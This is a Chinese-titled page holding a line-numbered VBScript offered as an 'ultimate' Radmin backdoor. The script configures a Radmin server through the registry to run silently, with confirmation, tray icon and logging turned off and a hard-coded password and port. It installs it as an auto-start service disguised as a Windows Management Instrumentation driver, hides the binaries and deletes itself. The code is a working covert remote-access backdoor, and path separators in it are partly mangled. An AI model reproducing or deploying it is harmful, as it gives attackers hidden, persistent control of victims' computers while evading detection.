Vbs脚本实现radmin终极后门

1
on error resume next
2
const HKEY_LOCAL_MACHINE = &H80000002
3
strComputer = "."
4
Set StdOut = WScript.StdOut
5
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_
6
strComputer & "
7
ootdefault:StdRegProv")
8
strKeyPath = "SYSTEMRAdmin"
9
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
10
strKeyPath = "SYSTEMRAdminv2.0"
11
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
12
strKeyPath = "SYSTEMRAdminv2.0Server"
13
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
14
strKeyPath = "SYSTEMRAdminv2.0Serveriplist"
15
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
51 collapsed lines
16
strKeyPath = "SYSTEMRAdminv2.0ServerParameters"
17
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
18
Set objRegistry = GetObject("Winmgmts:rootdefault:StdRegProv")
19
strPath = "SYSTEMRAdminv2.0ServerParameters"
20
uBinary = Array(0,0,0,0)
21
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)
22
uBinary = Array(0,0,0,0)
23
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)
24
uBinary = Array(1,0,0,0)
25
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)
26
uBinary = Array(0,0,0,0)
27
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)
28
uBinary = Array(0,0,0,0)
29
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)
30
uBinary = Array(0,0,0,0)
31
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)
32
uBinary = Array(0,0,0,0)
33
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)
34
uBinary = Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119) //此为注册表导出十六进制转为十进制数据 pass:241241241
35
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary) //Radmin密码
36
uBinary = Array(5,4,0,0) //端口：1029
37
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)
38
uBinary = Array(10,0,0,0)
39
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)
40
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &strComputer &"
41
ootdefault:StdRegProv")
42
strKeyPath = "SYSTEMRAdminv2.0ServerParameters"
43
strValueName = "LogFilePath"
44
strValue = "c:logfile.txt"
45
set wshshell=createobject ("wscript.shell")
46
a=wshshell.run ("sc.exe create WinManageHelp binpath= %systemroot%system32Exporer.exe start= auto",0)
47
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
48
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &strComputer &"
49
ootdefault:StdRegProv")
50
strKeyPath = "SYSTEMControlSet001ServicesWinManageHelp"
51
strValueName = "Description"
52
strValue = "Windows Media PlayerWindows Management Instrumentation Player Drivers."
53
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
54
strValueName = "DisplayName"
55
strValue = "Windows Management Instrumentation Player Drivers"
56
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
57
strValueName = "ImagePath"
58
strValue = "c:windowssystem32Exporer.exe /service"
59
oReg.SetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
60
set wshshell=createobject ("wscript.shell")
61
a=wshshell.run ("net start WinManageHelp",0)
62
b=wshshell.run ("attrib +r +h +s %systemroot%system32exporer.exe",0)
63
c=wshshell.run ("attrib +r +h +s %systemroot%system32AdmDll.dll",0)
64
d=wshshell.run ("attrib +r +h +s %systemroot%system32
65
addrv.dll",0)
66
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) //自删除